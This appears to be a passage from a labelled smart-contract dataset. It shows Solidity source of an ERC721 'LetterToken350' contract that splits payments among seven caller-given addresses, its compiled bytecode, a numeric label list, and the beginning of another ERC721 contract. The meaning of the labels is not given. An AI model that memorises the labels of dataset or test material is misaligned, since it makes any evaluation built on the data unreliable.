function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--; // This also deletes the contents at the last position of the array
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract LetterToken350 is ERC721Token {
constructor() public ERC721Token("LetterToken350","LetterToken350") { }
struct Token{
string GameID;
string FortuneCookie;
string Letter;
uint256 Amt;
}
Token[] private tokens;
function create(address paid1, address paid2, address paid3, address paid4, address paid5, address paid6, address paid7, string GameID, string FortuneCookie, string Letter, string tokenuri) public payable returns (uint256 _tokenId) {
uint256 Amt=msg.value/7;
paid1.transfer(Amt);
paid2.transfer(Amt);
paid3.transfer(Amt);
paid4.transfer(Amt);
paid5.transfer(Amt);
paid6.transfer(Amt);
paid7.transfer(Amt);
//Add The Token
Token memory _newToken = Token({
GameID: GameID,
FortuneCookie: FortuneCookie,
Letter: Letter,
Amt: Amt
});
_tokenId = tokens.push(_newToken) - 1;
_mint(msg.sender,_tokenId);
_setTokenURI(_tokenId, tokenuri);
//Emit The Token
emit Create(_tokenId,msg.sender,Amt,GameID,FortuneCookie,Letter,tokenuri);
return _tokenId;
}
event Create(
uint _id,
address indexed _owner,uint256 amt, string GameID,
string FortuneCookie,
string Letter,
string tokenUri
);
function get(uint256 _id) public view returns (address owner,string Letter,string GameID,string FortuneCookie) {
return (
tokenOwner[_id],
tokens[_id].Letter,
tokens[_id].GameID,
tokens[_id].FortuneCookie
);
}
function tokensOfOwner(address _owner) public view returns(uint256[]) {
return ownedTokens[_owner];
}
} | 0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301ffc9a7811461012157806306fdde0314610169578063081812fc146101f3578063095ea7b31461023957806318160ddd1461027457806319fa8f501461029b57806323b872dd146102cd5780632f745c591461031057806342842e0e146103495780634f558e791461038c5780634f6ccce7146103b65780636352211e146103e057806370a082311461040a5780638462151c1461043d5780639507d39a146104c057806395d89b41146106475780639942aa4d1461065c578063a22cb465146108d9578063b88d4fde14610914578063c87b56dd146109e7578063e985e9c514610a11575b600080fd5b34801561012d57600080fd5b506101556004803603602081101561014457600080fd5b5035600160e060020a031916610a4c565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e610a6b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b5061021d6004803603602081101561021657600080fd5b5035610b02565b60408051600160a060020a039092168252519081900360200190f35b34801561024557600080fd5b506102726004803603604081101561025c57600080fd5b50600160a060020a038135169060200135610b1d565b005b34801561028057600080fd5b50610289610bd3565b60408051918252519081900360200190f35b3480156102a757600080fd5b506102b0610bd9565b60408051600160e060020a03199092168252519081900360200190f35b3480156102d957600080fd5b50610272600480360360608110156102f057600080fd5b50600160a060020a03813581169160208101359091169060400135610bfd565b34801561031c57600080fd5b506102896004803603604081101561033357600080fd5b50600160a060020a038135169060200135610ca0565b34801561035557600080fd5b506102726004803603606081101561036c57600080fd5b50600160a060020a03813581169160208101359091169060400135610ced565b34801561039857600080fd5b50610155600480360360208110156103af57600080fd5b5035610d0e565b3480156103c257600080fd5b50610289600480360360208110156103d957600080fd5b5035610d2b565b3480156103ec57600080fd5b5061021d6004803603602081101561040357600080fd5b5035610d60565b34801561041657600080fd5b506102896004803603602081101561042d57600080fd5b5035600160a060020a0316610d8a565b34801561044957600080fd5b506104706004803603602081101561046057600080fd5b5035600160a060020a0316610dbd565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104ac578181015183820152602001610494565b505050509050019250505060405180910390f35b3480156104cc57600080fd5b506104ea600480360360208110156104e357600080fd5b5035610e29565b6040518085600160a060020a0316600160a060020a03168152602001806020018060200180602001848103845287818151815260200191508051906020019080838360005b8381101561054757818101518382015260200161052f565b50505050905090810190601f1680156105745780820380516001836020036101000a031916815260200191505b50848103835286518152865160209182019188019080838360005b838110156105a757818101518382015260200161058f565b50505050905090810190601f1680156105d45780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b838110156106075781810151838201526020016105ef565b50505050905090810190601f1680156106345780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561065357600080fd5b5061017e611071565b610289600480360361016081101561067357600080fd5b600160a060020a038235811692602081013582169260408201358316926060830135811692608081013582169260a082013583169260c0830135169190810190610100810160e08201356401000000008111156106cf57600080fd5b8201836020820111156106e157600080fd5b8035906020019184600183028401116401000000008311171561070357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561075657600080fd5b82018360208201111561076857600080fd5b8035906020019184600183028401116401000000008311171561078a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156107dd57600080fd5b8201836020820111156107ef57600080fd5b8035906020019184600183028401116401000000008311171561081157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561086457600080fd5b82018360208201111561087657600080fd5b8035906020019184600183028401116401000000008311171561089857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506110d2945050505050565b3480156108e557600080fd5b50610272600480360360408110156108fc57600080fd5b50600160a060020a0381351690602001351515611527565b34801561092057600080fd5b506102726004803603608081101561093757600080fd5b600160a060020a0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561097257600080fd5b82018360208201111561098457600080fd5b803590602001918460018302840111640100000000831117156109a657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506115ab945050505050565b3480156109f357600080fd5b5061017e60048036036020811015610a0a57600080fd5b50356115d3565b348015610a1d57600080fd5b5061015560048036036040811015610a3457600080fd5b50600160a060020a038135811691602001351661167e565b600160e060020a03191660009081526020819052604090205460ff1690565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610af75780601f10610acc57610100808354040283529160200191610af7565b820191906000526020600020905b815481529060010190602001808311610ada57829003601f168201915b505050505090505b90565b600090815260026020526040902054600160a060020a031690565b6000610b2882610d60565b9050600160a060020a038381169082161415610b4357600080fd5b33600160a060020a0382161480610b5f5750610b5f813361167e565b1515610b6a57600080fd5b600082815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60095490565b7f01ffc9a70000000000000000000000000000000000000000000000000000000081565b610c0733826116ac565b1515610c1257600080fd5b600160a060020a0383161515610c2757600080fd5b600160a060020a0382161515610c3c57600080fd5b610c46838261170b565b610c50838261177c565b610c5a828261187e565b8082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610cab83610d8a565b8210610cb657600080fd5b600160a060020a0383166000908152600760205260409020805483908110610cda57fe5b9060005260206000200154905092915050565b610d0983838360206040519081016040528060008152506115ab565b505050565b600090815260016020526040902054600160a060020a0316151590565b6000610d35610bd3565b8210610d4057600080fd5b6009805483908110610d4e57fe5b90600052602060002001549050919050565b600081815260016020526040812054600160a060020a0316801515610d8457600080fd5b92915050565b6000600160a060020a0382161515610da157600080fd5b50600160a060020a031660009081526003602052604090205490565b600160a060020a038116600090815260076020908152604091829020805483518184028101840190945280845260609392830182828015610e1d57602002820191906000526020600020905b815481526020019060010190808311610e09575b50505050509050919050565b600081815260016020526040812054600c805460609283928392600160a060020a039092169187908110610e5957fe5b9060005260206000209060040201600201600c87815481101515610e7957fe5b9060005260206000209060040201600001600c88815481101515610e9957fe5b9060005260206000209060040201600101828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815295985087945092508401905082828015610fcd5780601f10610fa257610100808354040283529160200191610fcd565b820191906000526020600020905b815481529060010190602001808311610fb057829003601f168201915b5050845460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529597508694509250840190508282801561105b5780601f106110305761010080835404028352916020019161105b565b820191906000526020600020905b81548152906001019060200180831161103e57829003601f168201915b5050505050905093509350935093509193509193565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610af75780601f10610acc57610100808354040283529160200191610af7565b6040516000906007340490600160a060020a038e169082156108fc0290839085818181858888f1935050505015801561110f573d6000803e3d6000fd5b50604051600160a060020a038d169082156108fc029083906000818181858888f19350505050158015611146573d6000803e3d6000fd5b50604051600160a060020a038c169082156108fc029083906000818181858888f1935050505015801561117d573d6000803e3d6000fd5b50604051600160a060020a038b169082156108fc029083906000818181858888f193505050501580156111b4573d6000803e3d6000fd5b50604051600160a060020a038a169082156108fc029083906000818181858888f193505050501580156111eb573d6000803e3d6000fd5b50604051600160a060020a0389169082156108fc029083906000818181858888f19350505050158015611222573d6000803e3d6000fd5b50604051600160a060020a0388169082156108fc029083906000818181858888f19350505050158015611259573d6000803e3d6000fd5b50611262611c55565b5060408051608081018252878152602080820188905291810186905260608101839052600c80546001818101808455600093909352835180519495919486936004027fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701926112d5928492910190611c7e565b5060208281015180516112ee9260018501920190611c7e565b506040820151805161130a916002840191602090910190611c7e565b5060608201518160030155505003925061132433846118c4565b61132e8385611913565b33600160a060020a03167faa0a459cfc01dbe08c976f4ed51a25f156d47cc91d89aa5d38aa881eff574e8584848a8a8a8a6040518087815260200186815260200180602001806020018060200180602001858103855289818151815260200191508051906020019080838360005b838110156113b457818101518382015260200161139c565b50505050905090810190601f1680156113e15780820380516001836020036101000a031916815260200191505b5085810384528851815288516020918201918a019080838360005b838110156114145781810151838201526020016113fc565b50505050905090810190601f1680156114415780820380516001836020036101000a031916815260200191505b50858103835287518152875160209182019189019080838360005b8381101561147457818101518382015260200161145c565b50505050905090810190601f1680156114a15780820380516001836020036101000a031916815260200191505b50858103825286518152865160209182019188019080838360005b838110156114d45781810151838201526020016114bc565b50505050905090810190601f1680156115015780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390a250509b9a5050505050505050505050565b600160a060020a03821633141561153d57600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6115b6848484610bfd565b6115c284848484611946565b15156115cd57600080fd5b50505050565b60606115de82610d0e565b15156115e957600080fd5b6000828152600b602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610e1d5780601f1061165157610100808354040283529160200191610e1d565b820191906000526020600020905b81548152906001019060200180831161165f5750939695505050505050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b6000806116b883610d60565b905080600160a060020a031684600160a060020a031614806116f3575083600160a060020a03166116e884610b02565b600160a060020a0316145b806117035750611703818561167e565b949350505050565b81600160a060020a031661171e82610d60565b600160a060020a03161461173157600080fd5b600081815260026020526040902054600160a060020a031615611778576000818152600260205260409020805473ffffffffffffffffffffffffffffffffffffffff191690555b5050565b6117868282611aad565b600081815260086020908152604080832054600160a060020a038616845260079092528220549091906117c090600163ffffffff611b4316565b600160a060020a038516600090815260076020526040812080549293509091839081106117e957fe5b90600052602060002001549050806007600087600160a060020a0316600160a060020a031681526020019081526020016000208481548110151561182957fe5b6000918252602080832090910192909255600160a060020a0387168152600790915260409020805490611860906000198301611cfc565b50600093845260086020526040808520859055908452909220555050565b6118888282611b55565b600160a060020a039091166000908152600760209081526040808320805460018101825590845282842081018590559383526008909152902055565b6118ce8282611be5565b600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af015550565b61191c82610d0e565b151561192757600080fd5b6000828152600b602090815260409091208251610d0992840190611c7e565b600061195a84600160a060020a0316611c40565b151561196857506001611703565b6040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a03888116602485015260448401879052608060648501908152865160848601528651600095928a169463150b7a029490938c938b938b939260a4019060208501908083838e5b838110156119fb5781810151838201526020016119e3565b50505050905090810190601f168015611a285780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015611a4a57600080fd5b505af1158015611a5e573d6000803e3d6000fd5b505050506040513d6020811015611a7457600080fd5b5051600160e060020a0319167f150b7a020000000000000000000000000000000000000000000000000000000014915050949350505050565b81600160a060020a0316611ac082610d60565b600160a060020a031614611ad357600080fd5b600160a060020a038216600090815260036020526040902054611afd90600163ffffffff611b4316565b600160a060020a03909216600090815260036020908152604080832094909455918152600190915220805473ffffffffffffffffffffffffffffffffffffffff19169055565b600082821115611b4f57fe5b50900390565b600081815260016020526040902054600160a060020a031615611b7757600080fd5b6000818152600160208181526040808420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388169081179091558452600390915290912054611bc591611c48565b600160a060020a0390921660009081526003602052604090209190915550565b600160a060020a0382161515611bfa57600080fd5b611c04828261187e565b6040518190600160a060020a038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000903b1190565b81810182811015610d8457fe5b608060405190810160405280606081526020016060815260200160608152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611cbf57805160ff1916838001178555611cec565b82800160010185558215611cec579182015b82811115611cec578251825591602001919060010190611cd1565b50611cf8929150611d1c565b5090565b815481835581811115610d0957600083815260209020610d099181019083015b610aff91905b80821115611cf85760008155600101611d225600a165627a7a7230582037953c694009d1a92b08c08b592bc1242324573e78955afeea0ff9986d570c9c0029 | [
1,
18
] |
0xf3559026b286d9524cb4677591924e9a98b0dddc | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// (c) by Mario, Santa Cruz - España.
interface ERC721
{
/**
* @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
* created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
* number of NFTs may be created and assigned without emitting Transfer. At the time of any
* transfer, the approved address for that NFT (if any) is reset to none.
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
/**
* @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
* address indicates there is no approved address. When a Transfer event emits, this also
* indicates that the approved address for that NFT (if any) is reset to none.
*/
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
/**
* @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
* all NFTs of the owner.
*/
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
* `onERC721Received` on `_to` and throws if the return value is not
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
/* slim
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
)
external;
*/
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they may be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/**
* @dev Set or reaffirm the approved address for an NFT.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved The new approved NFT controller.
* @param _tokenId The NFT to approve.
*/
function approve(
address _approved,
uint256 _tokenId
)
external;
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice The contract MUST allow multiple operators per owner.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(
address _operator,
bool _approved
)
external;
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
* @return Balance of _owner.
*/
/*
function balanceOf(
address _owner
)
external
view
returns (uint256);
*/
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are
* considered invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
* @return Address of _tokenId owner.
*/
function ownerOf(
uint256 _tokenId
)
external
view
returns (address);
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId The NFT to find the approved address for.
* @return Address that _tokenId is approved for.
*/
function getApproved(
uint256 _tokenId
)
external
view
returns (address);
/**
* @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
* @return True if approved for all, false otherwise.
*/
function isApprovedForAll(
address _owner,
address _operator
)
external
view
returns (bool);
}
interface ERC721TokenReceiver
{
/**
* @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the
* recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return
* of other than the magic value MUST result in the transaction being reverted.
* Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing.
* @notice The contract address is always the message sender. A wallet/broker/auction application
* MUST implement the wallet interface if it will accept safe transfers.
* @param _operator The address which called `safeTransferFrom` function.
* @param _from The address which previously owned the token.
* @param _tokenId The NFT identifier which is being transferred.
* @param _data Additional data with no specified format.
* @return Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
)
external
returns(bytes4);
}interface ERC165
{
/**
* @dev Checks if the smart contract includes a specific interface.
* This function uses less than 30,000 gas.
* @param _interfaceID The interface identifier, as specified in ERC-165.
* @return True if _interfaceID is supported, false otherwise.
*/
function supportsInterface(
bytes4 _interfaceID
)
external
view
returns (bool);
}
contract SupportsInterface is
ERC165
{
/**
* @dev Mapping of supported intefraces. You must not set element 0xffffffff to true.
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev Contract constructor.
*/
constructor()
{
supportedInterfaces[0x01ffc9a7] = true; // ERC165
}
/**
* @dev Function to check which interfaces are suported by this contract.
* @param _interfaceID Id of the interface.
* @return True if _interfaceID is supported, false otherwise.
*/
function supportsInterface(
bytes4 _interfaceID
)
external
override
view
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
}
library AddressUtils
{
/**
* @dev Returns whether the target address is a contract.
* @param _addr Address to check.
* @return addressCheck True if _addr is a contract, false if not.
*/
function isContract(
address _addr
)
internal
view
returns (bool addressCheck)
{
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(_addr) } // solhint-disable-line
addressCheck = (codehash != 0x0 && codehash != accountHash);
}
}
interface ERC721Metadata
{
/**
* @dev Returns a descriptive name for a collection of NFTs in this contract.
* @return _name Representing name.
*/
function name()
external
view
returns (string memory _name);
/**
* @dev Returns a abbreviated name for a collection of NFTs in this contract.
* @return _symbol Representing symbol.
*/
function symbol()
external
view
returns (string memory _symbol);
/**
* @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if
* `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file
* that conforms to the "ERC721 Metadata JSON Schema".
* @return URI of _tokenId.
*/
function tokenURI(uint256 _tokenId)
external
view
returns (string memory);
}
contract NFToken is
ERC721,
SupportsInterface
{
using AddressUtils for address;
/**
* @dev List of revert message codes. Implementing dApp should handle showing the correct message.
* Based on 0xcert framework error codes.
*/
string constant ZERO_ADDRESS = "003001";
string constant NOT_VALID_NFT = "003002";
string constant NOT_OWNER_OR_OPERATOR = "003003";
string constant NOT_OWNER_APPROVED_OR_OPERATOR = "003004";
string constant NOT_ABLE_TO_RECEIVE_NFT = "003005";
string constant NFT_ALREADY_EXISTS = "003006";
string constant NOT_OWNER = "003007";
string constant IS_OWNER = "003008";
/**
* @dev Magic value of a smart contract that can receive NFT.
* Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")).
*/
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
/**
* @dev A mapping from NFT ID to the address that owns it.
*/
mapping (uint256 => address) internal idToOwner;
/**
* @dev Mapping from NFT ID to approved address.
*/
mapping (uint256 => address) internal idToApproval;
/**
* @dev Mapping from owner address to count of his tokens.
*/
//mapping (address => uint256) private ownerToNFTokenCount;
/**
* @dev Mapping from owner address to mapping of operator addresses.
*/
mapping (address => mapping (address => bool)) internal ownerToOperators;
/**
* @dev Guarantees that the msg.sender is an owner or operator of the given NFT.
* @param _tokenId ID of the NFT to validate.
*/
modifier canOperate(
uint256 _tokenId
)
{
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender],
NOT_OWNER_OR_OPERATOR
);
_;
}
/**
* @dev Guarantees that the msg.sender is allowed to transfer NFT.
* @param _tokenId ID of the NFT to transfer.
*/
modifier canTransfer(
uint256 _tokenId
)
{
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender
|| idToApproval[_tokenId] == msg.sender
|| ownerToOperators[tokenOwner][msg.sender],
NOT_OWNER_APPROVED_OR_OPERATOR
);
_;
}
/**
* @dev Guarantees that _tokenId is a valid Token.
* @param _tokenId ID of the NFT to validate.
*/
modifier validNFToken(
uint256 _tokenId
)
{
require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);
_;
}
/**
* @dev Contract constructor.
*/
constructor()
{
supportedInterfaces[0x80ac58cd] = true; // ERC721
//owner = msg.sender;
}
/**
* @dev Transfers the ownership of an NFT from one address to another address. This function can
* be changed to payable.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
* `onERC721Received` on `_to` and throws if the return value is not
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
/*
slim
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
)
external
override
{
_safeTransferFrom(_from, _to, _tokenId, _data);
}
*/
/**
* @dev Transfers the ownership of an NFT from one address to another address. This function can
* be changed to payable.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
override
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they may be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
override
canTransfer(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, NOT_OWNER);
require(_to != address(0), ZERO_ADDRESS);
_transfer(_to, _tokenId);
}
/**
* @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved Address to be approved for the given NFT ID.
* @param _tokenId ID of the token to be approved.
*/
function approve(
address _approved,
uint256 _tokenId
)
external
override
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner, IS_OWNER);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice This works even if sender doesn't own any tokens at the time.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(
address _operator,
bool _approved
)
external
override
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
* @return Balance of _owner.
*/
/* slim
function balanceOf(
address _owner
)
external
override
view
returns (uint256)
{
require(_owner != address(0), ZERO_ADDRESS);
return _getOwnerNFTCount(_owner);
}
*/
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are
* considered invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
* @return _owner Address of _tokenId owner.
*/
function ownerOf(
uint256 _tokenId
)
external
override
view
returns (address _owner)
{
_owner = idToOwner[_tokenId];
require(_owner != address(0), NOT_VALID_NFT);
}
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId ID of the NFT to query the approval of.
* @return Address that _tokenId is approved for.
*/
function getApproved(
uint256 _tokenId
)
external
override
view
validNFToken(_tokenId)
returns (address)
{
return idToApproval[_tokenId];
}
/**
